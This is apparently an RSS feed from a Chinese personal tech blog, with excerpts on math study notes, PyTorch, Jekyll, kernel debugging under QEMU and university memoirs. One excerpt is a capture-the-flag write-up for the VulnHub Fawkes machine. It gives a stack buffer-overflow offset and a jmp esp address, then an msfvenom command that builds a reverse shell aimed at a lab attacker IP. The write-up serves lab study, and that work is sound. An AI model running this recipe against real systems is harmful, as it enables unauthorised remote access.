<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    
    <title>VOIDs&apos; Blog</title>
    
    
    <description>VOIDs&apos; Blog — Haitao Su（苏海涛）的技术写作：内核与系统、网络、安全·CTF、论文阅读与学习笔记。</description>
    
    <link>https://void-star.icu/</link>
    <atom:link href="https://void-star.icu/feed.xml" rel="self" type="application/rss+xml" />
    
    
      <item>
        <title>VOIDs的数学课</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          自从2023年9月到数学中心以来，我已经学了不少数学知识。起初觉得特别不适应，仿佛每一条公式、每一个定理都要将我杀死，但在理解数学的用处、体会其知识框架之后，我就开始逐渐享受这一切了。 Greg Yang是丘成桐先生的高徒，目前是xAI的合伙人。他试图用数学的手段理解AI的一切，Tensor Program系列已经发表到第六部，之后如果有空我会尽量写点阅读笔记。神经网络已经表现出了无比强大的能力，但其内部很大程度上仍是个黑盒，如今快要到达超级人工智能的临界点，很多安全和可解释性的工作也只能靠empirical study的方式来解决，这是值得担忧的。这时数学的意义，我想在于，就算它不能精确地描述数据分布的客观规律（有人认为不应该用统计学理解AI），也仍然是一种提供insight的极好方式，是Learning Theory研究的最基本工具。 接下来我开一个大坑，主要内容包括应用数学和概率统计两大领域，也就是我这一年半学的数学内容。但我不会简单把每门课的笔记排在这里，而是按自己的方式重新整理，争取让它们相互连接，活起来，毕竟它们在搞研究的时候会有直接应用，最好是理解透彻。作为计科科班搞system的出身，我习惯于理解清楚每一个组件具体能有什么用，并以最直观的方式来解释一切；但数学人的语言通常是严谨的，他们罗列定理进行陈述，并注重逻辑框架内的一致性。我希望能够在这两者之间找到一个平衡点，让数学的美感和实用性都能得到体现。《马同学图解数学》可能是最好的例子，但我没有那么多时间画图，可能连公式都不喜欢打，只能尽量以语言的方式讲清楚咯。 线性代数 首先我假设你已经学过线性代数，而且中国传统的、第一章讲行列式的那种垃圾线性代数。刚上手机器学习的话，你可能知道一些基础的概念，但都是模模糊糊的，对线性代数的几何直观理解还不够，也不知道特征分解、正定这些概念都有什么应用。这样的话，或许下面的学习笔记可以帮到你。 【线性代数 1】基本术语和重要定理 【线性代数 2】泛函分析与线性空间 【线性代数 3】特征分解与奇异分解 【线性代数 4】二次型与正定矩阵 插值和逼近 【插值和逼近 1】插值方法 【插值和逼近 2】逼近方法 【插值和逼近 3】数值微分和积分 数值线性代数 【数值线性代数 1】线性方程组直解法 【数值线性代数 2】迭代方法框架、评价标准 【数值线性代数 3】非线性方程组迭代解法 【数值线性代数 4】线性方程组迭代解法 【数值线性代数 5】特征值迭代解法 数值微分方程 【数值微分方程 1】基本概念和整体目标 【数值微分方程 2】数值ODE 【数值微分方程 3】数值PDE的稳定性分析 【数值微分方程 4】差分格式常用构造技术 【数值微分方程 5】差分格式常用求解技术 【数值微分方程 6】双曲守恒方程格式 运筹学 公理化概率论...
        </description>
        <pubDate>Tue, 11 Jun 2024 00:00:00 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/math-knowledge/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/math-knowledge/</guid>
      </item>
    
      <item>
        <title>【Pytorch】模型API讲解</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          eval()和train()

在Pytorch中，模型有两种状态：eval()和train()。区别是什么呢？这要从dropout和batch normalization说起。


  dropout：在训练的时候，dropout会随机地将一些神经元的输出置为0，这样可以防止过拟合。
  batch normalization：在训练的时候，batch normalization会对每个batch的数据进行归一化，这样可以加速训练。


但到了评估的时候，这两个就得关闭。所以需要使用：

model.eval()


with torch.no_grad()

        </description>
        <pubDate>Sun, 09 Jun 2024 00:00:00 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/pytorch-model/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/pytorch-model/</guid>
      </item>
    
      <item>
        <title>Python奇技淫巧</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          记录一些无限拔高Python技术的小技巧。

高效工具

IPython auto import

一般来说，如果你希望自动导入一个库，可以设置一些类似启动脚本之类的东西。但你不想每次进来都花很久导入torch和transformers，也不希望还得手动补个什么库。这时你就应该用这个自动导入插件。

ipython-autoimport

安装/启用：

pip install ipython-autoimport
ipython profile create # Optional
python -m ipython_autoimport &amp;gt;&amp;gt; $(ipython profile locate)/ipython_config.py


看看效果：



        </description>
        <pubDate>Sun, 09 Jun 2024 00:00:00 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/python-trick/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/python-trick/</guid>
      </item>
    
      <item>
        <title>【新站第一篇】孩子们，我回来了（附Jekyll配置教程）</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          孩子们，我回来了！花了一点时间，用jekyll建了全新的个人博客。 闲聊 新站建立的第一篇文章，总得聊点来龙去脉吧？ 这是旧站：VOIDs技术驿站。为啥不想用了呢？当年大三的时候，对于技术一腔热血，觉得搭一个自己的网站是超酷的事情。所以我去腾讯云买了服务器，从阿里云买了域名，用宝塔面板和Wordpress开始搞事，搞了一堆工信部备案的手续，挂上了HTTPS，又踩了无数技术上的坑，总算搞起来了。纵然这很有趣，但真做过才会明白其中的代价： 服务器要收钱（虽然一年下来只是几顿饭钱）。 尽管Wordpress可定制性极强，允许自己设计动态的网页交互，但最后发现那并不是我想要的。我只想要一个安静的地方写字，jekyll这种静态编译生成的网页完全符合我的需求。 服务器有公网IP，已经被各种病毒渗透烂了，光是看日志就能看到每天四五万次的login attempt。甚至还收到过勒索威胁邮件。跟黑客斗智斗勇非常有趣，可是我实在没有时间。留着黑客在我机器上肆意妄为是很危险的，虽然我数据不值钱，但要是损毁就糟糕了。不如把安全交给GitHub。 自建网站如果想要在搜索引擎上排名比较好，还得认真搞SEO。 HTTPS证书还得定期更新，我总是记不得那些命令。 国内云服务的监管问题，无需多言。 总而言之我对各种节外生枝的事情感到很痛苦，于是决定投奔Github Pages。 在新站写点什么呢？ 尽量把旧站的东西搬过来，那边写了很多操作系统和计算机网络的内容，虽然我之后可能不太容易搞这些了，但总归是珍贵的记忆、丰富的知识库，未来也肯定能用得到。 数学。如果你是计算机专业的，感觉数学学了没用，多半是没有真正地理解。这半年我体会到了线性代数无穷的力量，有空会分享一些自己觉得有趣的东西。学习笔记将会整理在我的notion里，作为博客的外链。 技术。主要包括编程和工具链、system知识、AI进展等等。数学得以让我从不同的角度感受AI之力，相关内容也会分享。 思考。这是最不能放弃的东西，随着AGI的发展，深刻的思考变得愈发可贵。 建站教程 Jekyll是一个静态网站生成器，它用Ruby实现，会把你写的markdown文件编译成html文件。撰写者所需要做的所有事情，就是写markdown文件，然后push到GitHub上，GitHub会自动帮你编译成网页。 首先，建立一个和自己GitHub用户名相同的repo，这就是你的GitHub Page。然后，把Beautiful Jekyll clone到你的这个repo中。只要跟着README你就可以写文章了。 但是作为一个程序员，肯定还是希望对自己的网站有全面的控制权，而且让GitHub Action来构建网站比较慢，我希望能在本地实时看到效果。这就得搞到自己本地，安装ruby环境，然后安装一切所需要的依赖，这些教程里有写。在这里，我说说自己遇到的坑： bundler install权限问题 执行bundler install时，可能会提示权限不够，无法安装到/usr/lib下面。这时候我选择安装到thirdparty目录下： bundle config set path &apos;thirdparty/bundle&apos; 然后在_config.yml中添加路径忽略： exclude: - thirdparty/ 确保在.gitignore中添加thirdparty。然后你就可以愉快地安装所有依赖了。 Bundle安装时遇到ArgumentError报错 我在Ubuntu上编译，这个错误可能是ruby的版本问题导致的，不妨按下面的流程重新安装ruby。 wget https://rubygems.org/rubygems/rubygems-3.5.20.tgz sudo ruby setup.rb sudo gem install...
        </description>
        <pubDate>Fri, 07 Jun 2024 00:00:00 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/im-coming-back/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/im-coming-back/</guid>
      </item>
    
      <item>
        <title>Apple M2+QEMU/HVF平台上OpenHarmony OS无法正常启动的解决方案与调试心得</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          只需要解决方案的读者请直接跳转至第六节TLDR，本文正文部分将以调试者的视角，从只有一个地址开始，抽丝剥茧、条分理析，发掘出所有问题的根本原因。 最近在做OpenHarmony OS（下面简称ohos）相关的工作，需要将其运行在QEMU上。CPU为Apple M2（arm64架构），可使用macOS系统的Hypervisor.Framework，也就是HVF，进行加速。 在环境配置和编译流程完成之后，我们发现如果启用HVF，ohos就无法在QEMU上正常启动。QEMU只打出很少一点log，可以判断bug发生在内核之中，且与ohos无关。如果不启用HVF，ohos可以正常启动，但是性能很差，图形界面明显卡顿，影响后续的开发调试，这说明bug也可能与HVF有关。 考虑到内核调试刚好是QEMU的重要用途之一，可以借此查明到底是内核还是HVF报错，如果是内核，问题出在哪里。一切问题总能得到解答，计算机系统的世界从来没有魔法。 1. QEMU+gdb环境配置 远程（remote）调试的原理，不外乎是一个client，一个server。当我们在命令行输入gdb，然后通过target remote 1234进行调试的时候，我们其实处在client的位置上，向监听于127.0.0.1:1234的server发起一个连接请求。而大家如果在操作系统实验课上用过QEMU，在实验讲义中读到过如何调试内核，就可以意识到，QEMU充当server的角色。server了解被调试程序的一切，从CPU状态（PC和各种通用寄存器），到内存布局（代码、数据段映射）。假如要远程调试一个不在QEMU上，而是直接运行于操作系统上的程序，gdbserver命令可以attach到需要调试的进程，通过砸瓦鲁多（ptrace系统调用），令被调试进程暂停，并暴露出一个端口，供client连接。这时，只需和刚才一样发起连接，就可以控制被调试程序的运行了。 逆天的是，苹果arm64上不支持安装gdb！但既然调内核本来就需要用remote+attach的方式，干脆remote到底，将苹果（被调试机）的端口暴露出来，在同一局域网的linux机器上启动gdb-multiarch client，连接这一端口即可。 QEMU启动内核时，如果指定-S参数，就可以将pc放在内核的第一条指令，等待调试client发起连接。 调试环境启动之后，还要提供正确的符号文件，才能将内存地址对应到源代码之中。图方便的话，直接用symbol-file命令后接符号文件路径即可，此处只需在ohos编译产物路径下找到vmlinux。只要在config中启用DEBUG_INFO，编译出的vmlinux就包含调试信息了。与ohos、aosp、lineageOS等一同编译的内核，其config名字由defconfig结尾，可以用find命令搜索一下。找到的defconfig可以用menuconfig的方式加以自定义配置。 符号表加载完毕，输入c命令启动内核，奇寄发生了——ohos运行起来了！ 再试一次，还能运行！我感觉离大谱了，总不可能bug是被调试器吓得飞走了吧？看着运行无比流畅的ohos模拟器，我们高兴是高兴，但也不能以后开发的时候每次都接个gdb client然后读取符号表然后输入c才让它运行吧？ 2. 正确显示内核符号和栈信息 尽管加载了符号表之后，ohos可以运行，但我觉得这事情跟符号表关系不大，很可能是ptrace之后的运行环境与正常的环境存在差异，导致ohos的bug消失了。所以，当下的第一要务仍然是让内核在gdb的环境下触发bug，然后再考虑加符号表。 这样的思路是可行的，至少能够在bug产生的同时读取符号表，离成功近了一步。但是，仍然无法看到错误发生在哪里，当前pc和bt命令显示的栈信息也无法对应到内核源代码，只能显示??字样。通过info line *addr这一命令，也不能对应到源码。 幸运的是，我发现程序是卡死在了一个特定的地址A上，那么这个地址上的指令想必暗藏玄机。但当使用layout asm查看时，却发现这是一个平平无奇的内存读取指令！读取的内存值是正常的，难道说在arm64里这是一个需要先获取锁才能访问某个地址的指令，访问内存导致了死锁？锁的问题可麻烦了，必须得知道是在哪发生的bug才行。 好在我们知道如何正常启动ohos了，不如看看正常情况下，这条内存读取指令做了什么吧！于是乎先在这个地址打了断点，然后加载符号表，最后启动内核，结果程序没有在断点停下。 这倒也合理，因为可能这是正常情况走不到的分支。那把断点打在start_kernel上吧，这下肯定没跑了。于是乎先加载符号表，然后在start_kernel打了断点，最后启动内核。断点还是没有停下……万一是arm64内核鬼畜地走了别的什么函数来启动内核呢？那再打个copy_process，这可是任何进程创建时必走的函数，这下绝对掉进如来佛的手掌心了。然后在ohos的桌面上启动计算器应用，断点还是没有停下…… 断点看似打成功了，但是并不能正常停下，而且在使用^C（Ctrl+C）强制暂停时，bt指令只能显示两条栈帧信息，后面就是stack broken……导致这个问题的罪魁祸首，就是ASLR！ASLR（Address Space Layout Randomize）是一种加强安全性的技术，通过将代码、数据和堆栈加载到与链接后二进制文件所声明的地址不同的位置，攻击者就无法通过vmlinux文件获知关键数据和代码的位置，因此不能通过直接跳转到一个已知的地址实现攻击。而依赖于PIE（Position-Independent Executable）技术的数据和代码在地址随机化之后不受任何影响，因为它们是基于与程序加载的基地址（base address）之间的偏移起作用的。（不能再多说了，这篇文章是讲内核调试的，不是讲二进制安全的，有兴趣的读者可自行查阅资料） 禁止内核以ASLR的方式加载，可使用内核参数nokaslr。在QEMU命令行简单加上nokaslr，再次触发bug，一串完整的栈帧信息跃然出现于屏幕之上！ 3. 明确自己身处的位置 栈帧信息的栈底，是一个叫做el1_sync的函数；栈中间出现了die的字样，所以再后面一直到栈顶是什么，我认为已经不重要了，从栈底开始考虑即可。了解arm64的同学恐怕已经一目了然，可以跳到第4节了；但对于平时只玩x64的同学（以及我自己），我还是把事情的来龙去脉讲清楚更好。 定位到出错位置所在，欣喜若狂地打开kernel源码，发现el1_sync位于entry.S文件中，遂怀疑是内核刚出门不久就遭遇了事故。arm64中，EL表示Exception Level，从这个名字听起来可能是发生了exception、trap等情况。EL0为用户级，EL1为内核级，EL2为VMM级，而EL3为固件级，掌控整个系统的一切权力。 el1_sync只做了一点简单的处理，就跳转到另一个.c文件的某个函数中。该函数由一个switch-case组成，通过栈帧信息中的参数，可以发现case的值为0x3c，而它有定义： #define ESR_ELx_EC_BRK64 (0x3C) 搜索这个宏，发现了brk指令。这是一个特殊的指令，可用于实现断点；乍一听和我们正在玩的调试器有点关系，但实际上这个指令应该导致了一个陷入，一个特权级的转换。而在el1_sync所在的entry.S中，还发现了一个vector。种种迹象，暗示这是一个硬件跳转过来的处理例程！内核并不是刚启动即暴毙，而是在某个其他组件中，触发了非法指令。于是我查了el1_sync，发现这是EL1级下触发异常后的处理例程，可用于处理指令异常、缺页中断等[1]。看来，是brk指令导致了最后的崩溃！ 4. bug定位、解决、可能原因分析 所谓解铃还须系铃人，总得知道是谁触发了brk才行。想想我们熟悉的系统调用，通过一个陷入指令，硬件自动将pc和各寄存器信息保存至栈中，异常和系统调用本质都是一样的，那我们在调试器中自然有办法把这些被保存的现场信息还原出来！ 第一个要还原的肯定是pc，于是我再查el1_sync，发现pc信息保存在ELR_EL1寄存器中。来不及多想，我立即输入info...
        </description>
        <pubDate>Fri, 11 Aug 2023 03:50:44 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1916/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1916/</guid>
      </item>
    
      <item>
        <title>raw套接字和隧道设备（tap/tun）的区别</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          今天遇到一个很有意思的问题：clash使用隧道设备（为了形式上一致起见，下文直接用tun代替），用以在用户态直接读取L3数据包；使用raw套接字的程序，例如libpcap，也可以直接读取L3数据包。那这两个东西有什么区别？

要分析区别，不妨将二者的位置对调一下。

假如clash使用raw套接字，可以获取本机所有流量。这是因为tcp套接字算是在L4的范围内实现，而raw套接字则是L3、L2的内容，监听它的应用程序本质上和L4平起平坐。可以理解成，tcp套接字（L4套接字）工作在是地址加端口上，L3 raw套接字工作在整个IP地址上，而L2 raw套接字工作在整个MAC地址上。

但问题在于，raw套接字并不能拦截流量。打个比方，所谓“挟天子以令诸侯”，曹操要平定天下，就得先和天子讲（天子作为“代理”，拦截了曹操的outbound流量），天子讲出的话百姓才能够信服。假如曹操直接对百姓讲话，天子只是旁听，那么失败的讲话就发生了，天子即便以服人的方式再说一遍，也是于事无补的。

假如libpcap使用tun设备，可以通过修改路由表来拦截所有流量，以实现本机流量的获取。但抓到包后libpcap还得把这些outbound或inbound流量都原封不动地送到正确的网卡进行相应处理，即便该功能实现于内核，也会带来一些性能浪费。因此还不如不截取了，流量就在原先的管道里正常传输，管道上开个口子给外面人看，这不就又回到raw套接字了吗？

综上，如果以管道和里面的水作比喻，raw套接字就像在管道上开个小口，从外面能看到里面的水，但不影响水该往哪流往哪流；而隧道设备是直接把水接到自己的水库里。



参考链接：


https://www.binarytides.com/packet-sniffer-code-in-c-using-linux-sockets-bsd-part-2/


        </description>
        <pubDate>Mon, 07 Aug 2023 15:26:40 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1905/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1905/</guid>
      </item>
    
      <item>
        <title>【虚拟化】QEMU/KVM（一）——QEMU基本组件</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          本篇介绍QEMU的事件循环机制、QOM和线程模型，从而为更深入地了解QEMU的具体部件做准备。 1. 事件循环机制 Windows平台上，QEMU需要从三个地方进行poll： 全局变量GArray* gpollfds，其中的每一个元素是GPollFD；glib提供的完整框架。glib是一个跨平台的底层库，提供的接口均以g打头；全局变量WaitObjects wait_objects，是一个自定义的结构，包含事件类型和回调函数等。 但不管是什么机制，思路都是一样的： 确定要poll的fd和event集合；执行poll（或者select）；处理所有poll到的事件，调用其回调函数。 下面简单分析。 1.1. main_loop初始化 在qemu_init_main_loop中完成初始化。 首先完成的是时钟和信号的初始化。信号是Linux机制，QEMU通过signalfd系统调用将一个信号集合变成可读的fd，进而用qemu_set_fd_handler设置该fd的回调函数，并加入到iohandler_ctx事件源里。在Windows上这一函数直接返回0。 int ret; init_clocks(qemu_timer_notify_cb); ret = qemu_signal_init(errp); if (ret) { return ret; } 接下来就是和事件机制直接相关的了，首先是qemu_aio_context： qemu_aio_context = aio_context_new(&amp;amp;local_error); if (!qemu_aio_context) { error_propagate(errp, local_error); return -EMFILE; } src = aio_get_g_source(qemu_aio_context); g_source_set_name(src, &quot;aio-context&quot;); g_source_attach(src, NULL); g_source_unref(src); 然后是iohandler_ctx，它没有像上面一样专门new一下，因为iohandler_get_g_source和qemu_set_fd_handler（如果是Linux平台，在设置信号时就会调用这个函数）都会判断iohandler_ctx是否已经初始化，否则调用aio_context_new。 src = iohandler_get_g_source();...
        </description>
        <pubDate>Thu, 10 Nov 2022 20:43:40 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1778/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1778/</guid>
      </item>
    
      <item>
        <title>网络攻防（二）：二进制索命——Fawkes靶机</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          Harry Potter系列靶机的作者脑洞大开，讲述了哈利波特和伏地魔对决的故事。Fawkes是这个系列的最后一个靶机，非常有趣，特别是其中二进制分析的内容很有挑战性，在这里写下经验。 靶机地址：https://www.vulnhub.com/entry/harrypotter-fawkes,686/ 本文假定读者有x86指令集知识，比如基本的jmp、call、ret指令，以及和栈帧有关的寄存器；紧要处我会加以解释。图片是从Word实验报告取的，它默认会压画质，如果真的有读者读的话我可以配高清图。 1. 概述 目标：取得目标靶机root权限和三个horcrux（flag）。 能力需求： 主机发现、端口扫描等基本技巧；缓冲区溢出探测和位点确定；使用reverse shell二进制代码；汇编代码审计和调试、栈分析、攻击代码构造；使用tcpdump检查未加密的流量；使用CVE漏洞获取root权限。 环境：VirtualBox虚拟网络，攻击机（Kali）地址192.168.251.4，靶机地址192.168.251.15。 端口开放情况： 21号端口可以匿名访问，其中有一个二进制文件可供下载。SSH端口有两个。80端口可以访问，但只有一张图片（哈利波特和伏地魔的对决）。9898是一个奇妙的魔法端口，需要用nc才能交互，如图，你可以……阿瓦达索命！ 斩获阿卡兹班保送生 2. 二进制分析 将下载到的二进制文件server_hogwarts执行，发现本机的9898端口打开了，也能用nc输入输出（施展魔法），估计和靶机中运行的是一个文件。目前看来只能先通过该二进制文件寻找漏洞。先用checksec确认二进制文件的安全等级： NX被禁用，这意味着栈是可执行的；地址随机化也没有启用。 2.1. 定位攻击点 用objdump直接分析文件太过复杂。考虑到注入点只有一个（即输入字符串），不妨直接上手调试。先生成一段特殊的长字符串，它有助于定位缓冲溢出点： kali就是好，浑身上下都是宝 输入这段字符串，触发段错误： edb调试器 发现此时EIP变成了0x64413764，这是执行了ret指令的结果。回忆ret指令，它把ESP指向的4字节内存按小端读入作为下一条指令的地址，这正是缓冲区溢出攻击的原理。这时刚才生成字符串的优势就出来了，很容易知道输入点距离跳转点有多远。 不妨简单地验证一下，没有问题。 右侧用python生成攻击字符串，期望&apos;1234&apos;的值注入到函数的跳转点 2.2. 攻击代码生成 接下来我们要自己动手产生reverse shell的代码，把它放在栈上就能执行，但问题是如何让EIP指向栈区攻击代码的位置。在考虑构造跳转地址前，不妨考虑一个更好的情况：x86是奇妙的变长指令，字节断章取义很可能就能找到跳转到ESP的指令片段。这时edb工具的作用就出来了，它可以帮我们找到所有能将ESP的值写入EIP的指令片段。 这下思路就明确了：令跳转点的值为0x804d955（注意小端），ret后ESP加4，恰好指向攻击代码，而EIP指向jmp esp；下一步执行jmp esp指令，EIP也恰好会指向攻击代码。 所以攻击字符串的预期构成就是： 112个&apos;A&apos; + 0x55 0x9d 0x04 0x08 + 攻击代码balabala 攻击代码要自己写还是有点麻烦的，kali提供了现成的工具可以生成reverse shell的二进制代码。命令如下： msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.251.4 LPORT=4444...
        </description>
        <pubDate>Wed, 09 Nov 2022 00:26:01 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1745/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1745/</guid>
      </item>
    
      <item>
        <title>【我的大学】第二年：逆风翻盘</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          这是见证小镇做题家蜕变的一年。 现在是国庆假期，我时不时和朋友出去吃个饭。不过我还其实挺喜欢自己一个人坐着，安静地看书、练琴、思考，以及在这里写下一点文字。 1. 病态狂热——虚假的飞升 考核失败以后，我心如死灰。我删掉了Dev C++，我删掉了Visual Studio，我删掉了一切和计科相关的东西，只为证明，我命真的由不得我啊他妈的 好吧开玩笑。删确实全删了，但我没过几天就把Python下了回来。为什么？因为我有一件事情真正要去证明：计科的老师就是眼睛瞎了才不招我。我反手就写了一个教学立方课件自动下载脚本，虽然是用selenium写的，比较低端，但是还真能用，而且好用，大化的课件都爬下来了。明明可以在15分钟内点击下载所有课件，我偏要用两个小时写个脚本，不为什么，就为证明技术人对高效率和自动化的执着。这个脚本在今天仍然能用。 然后我从成绩这一方面证明。当时疫情，所有期末考试全部推到8.10返校之后再举行，考试结束后补做一个学期的大化实验。这给我留下了充足的复习时间。转专业结果出来的时候暑假刚刚开始，我找来微积分和普物的习题集，一道一道地往下刷。马原重点，一条一条背得滚瓜烂熟。大学化学IB的知识点，逐条查证，一个不漏。就这样，暑假很快过去了，活得和假人一样，虽然只做了些没什么意义的事情，但比闲着颓废好很多。 期末考试结束，我在化院排名5/102。当时和人聊天，我说自己没转成，人家安慰我： “计科转专业确实不容易，我听说有同学绩点4.6+都被卡了，没事” “啊对对对，那人就是我” 2. 重新点亮希望的火种 6.17我得知失败的消息，心如死灰，K学长也不敢相信。但是既然失败了就找原因，有一天我发邮件给计科教务员询问原因，她的回复是： 非常圆滑的回答，也在预料之中，不过我怎么才能把握得住明年的这一次机会？我还有没有动力去把握？我自己都不知道。 7.26，我复习了一天大化之后，感到有些难蚌，觉得化学真是无趣，真的可以考虑大二转专业。在大一劳顿一年之后，我非常想大二安定下来，在计科把该修的课补好，进实验室做事情，学英语考标化，然后和身边的同学稳扎稳打发展朋友圈。但霉运、自负，又或是其他什么，把这一切都打乱了。我点开和K学长的聊天框，输入： “咱们学校大二转专业的总体成功率如何？” “挺高的吧，这届大二总共6个名额，才4个人报名转专业，都通过了” 是的，事实如此。但是别忘了，我这一年转专业，是难度最低的一年。由于地学放在提前批，大一不能参与转专业，所以大一总共只有22人参加了报名，最后有14位同学通过，这样都不包括我。但是请别忘了，程设实验中6到飞起的神，有好几位来自地科，他们可是抱着破釜沉舟的决心来的。想到这里，我说： “不知道明年加上地科的学生还会不会这么容易了” “有一说一，建议转。” 大二转专业的成功率高，这是事实。但是高又不意味着必过，就以我这运气，猜猜明年失败会不会又轮到我头上？那时候怎么办？转专业面试前一天有一个环境审查，老师在群里和大家说：“我们计科转专业，有时候不一定说喜欢计科就行，还得看你有没有天赋。”我喜欢金金金金金，然后就说自己真的热爱计算机；但程设实验这课每周花24小时才能完成，多少说明是不是根本没这天赋？K哥说： “我是大二转的，当时我也很怕，可大二很大程度上就是看是不是真心想转。真心想转的人都过了，GPA 4.0（即平均80分）的都过了，才修了六七门课的也都过了；没过的人甚至在课程群都搜不到。” 真心？对金金金金金的真心算真心吗？我问： “K哥你当时为什么想转计算机？” “大一上和原专业相关的就一门导论课，所以那个时候不了解原来的专业，也就不讨厌；但是高中的时候就想做游戏，听说计科大一上学了C++，于是寒假买来书自己看，觉得挺有意思，也就想转专业了。 大一下上一堆专业基础课，非常枯燥，就更加坚定了转的念头。现在我就已经在实习做游戏了。” 秀啊……原来就是跟着兴趣走的。但我的兴趣是什么？是金金金。我对游戏才没兴趣。那我对计科本身有热爱吗？很难说，估计没有。这时他又说： “原专业的老师讲课太高屋建瓴，不适合新手学习。而且我需要赚钱，原来的专业薪资不高。” 一语道破！我想不管怎么讲，把金金金作为热爱是没错的，有热爱总比一点盼头都看不到好多了啊！ “化院的一个学长告诉我说，化院有十个都考研计科了。大气的老师说本院每年都有两三个清北经管。一个学xxx专业的学弟，是年级第一，我当时劝过他转专业，但他还是没转，现在很后悔了，这个专业读研出路好的也都做AI，目前只能说跟师兄干活，发点论文，才有可能保上LAMDA。” 他这么一说，我突然想起来，当时化生大类办过一个出国经验分享会。请了六个学长学姐，当年都是比较优秀然后出国读PhD，现在有四个已经拿到了计算机或软件的Master！呃……好吧，我能理解，可能辅导员也有冲KPI的需要，不过属实反向宣传了一波。 “你的成绩挺好的，已经能说明天分没有问题。为什么还在犹豫？除了害怕失败，你其他的任何想法都在表明你支持转专业啊！我当时当然也害怕失败，但忙起来就好了，不会想这么多，也就考核和等结果紧张点罢了。” 对啊，我只是害怕失败罢了！这话一语点醒梦中人，我仿佛突然理清了头绪，找到了继续前进的理由。 到此，我一片死寂的内心中，闪烁出了一颗希望的火种。 3. 决断——破釜沉舟 好，我现在知道真的有必要转专业了，我也知道K哥很看好我，可我还得有一段时间来说服自己。有没有兴趣？会不会有太大心理压力？不管那么多了，等期末考完，我就开始预习大二上学期的计科课程。 大一我只缓修了一门《大学化学IA》，压力说实话还不小。大二如果说“真心要转”，那怎么说也得把几乎所有课跟上吧？最多缓修个数电实验和OS。那加上原专业的课，不得了了，这怎么可能上得完？首先一学期最多缓修两门，我考虑把有机实验和仪器分析缓修掉，前者占用时间太多，后者不太重要。然后还剩有机化学、大物实验、普通物理下，我和K哥算了算，竟然刚好能卡到计科课表的空余时间里！真是太巧妙了，当时是8.14，周五晚上，等周一我就和教务员确认课程修读方案，让她给我退其它课。 笑死，然后我就犯拖延症一直没去问了。不过这段时间我有去看传说中的ICS——《计算机系统基础》，这是传说中计科最硬核的课程之一，甚至程设实验这么难的课都只是为了ICS作铺垫。我翻开第一章，果然，知识点倾盆而下，什么存储执行、程序寄存器、数据寄存器、内存、总线，搞得我晕头转向。再一看目录，算术逻辑单元、x86汇编指令集、程序的链接和执行、层次结构存储系统、异常和中断……可以，这很计科！ 此外我还看了数据结构和离散数学。痛并快乐着的一个多星期过去了，K哥突然问我： “你有没有问教务员能不能缓修两门以上课程啊？还是要尽量争取，按某转专业负责老师的说法，修课越多，面试的时候优势越大。” 哎呀，我还没和教务员说我的修课计划！但既然这么说，我先问问能不能缓修多门。结果出了奇的顺利： 这就牛了啊！如果我能退选所有课程，那计科大一大二的平台课我一年就能端掉，甚至还能加点选修。不过这会不会也挺肝的？别忘了，大二上要修离散数学、ICS、数字电路、数据结构、大物实验五门课，每个都不是什么善茬，前三门课尤其使人头大。我在想计科的课难不难读，还是问问计科的教务员吧！ 还好，那就好。但是缓修本专业所有课程，要慎重哦~ 你其实可以看出我真的很想去计算机但是还是很害怕失败所以会去问能不能跨保。K哥告诉我，跨保是玄学的，跨考是很难的，都不如转专业容易。那好吧，我现在唯独要考虑的就是“慎重缓修”了。 你还可以看出我真的很纠结，就是个纠结怪。利益要害摆得这么分明了，还没想通？确实还没想通。修辅修计科也行啊，累一点，战线长一点，但是稳妥。将来保研或者考研过去也不赖的。怎么非要缓修课程转专业？跨专业准出真的太难了。这要是没转过去，我怕是休学的心都有了——或者直接退学得了，反正我比同年级的同学小两岁，2021清华我来了，下两级的学弟学妹全变成学长学姐，然后上演一出“重生之清华贵系第一”。不管怎么说，面试官要是问“转不成功会怎么样”，那我就说“本来我在化院清北随便去，要是转专业失败只能退学延毕了”。 然而总得有一天得想通，那就是学期第2周结束之前——缓修课程的截止日期。9.15...
        </description>
        <pubDate>Mon, 03 Oct 2022 01:04:28 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1277/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1277/</guid>
      </item>
    
      <item>
        <title>【我的大学】第一年：不甘平庸</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
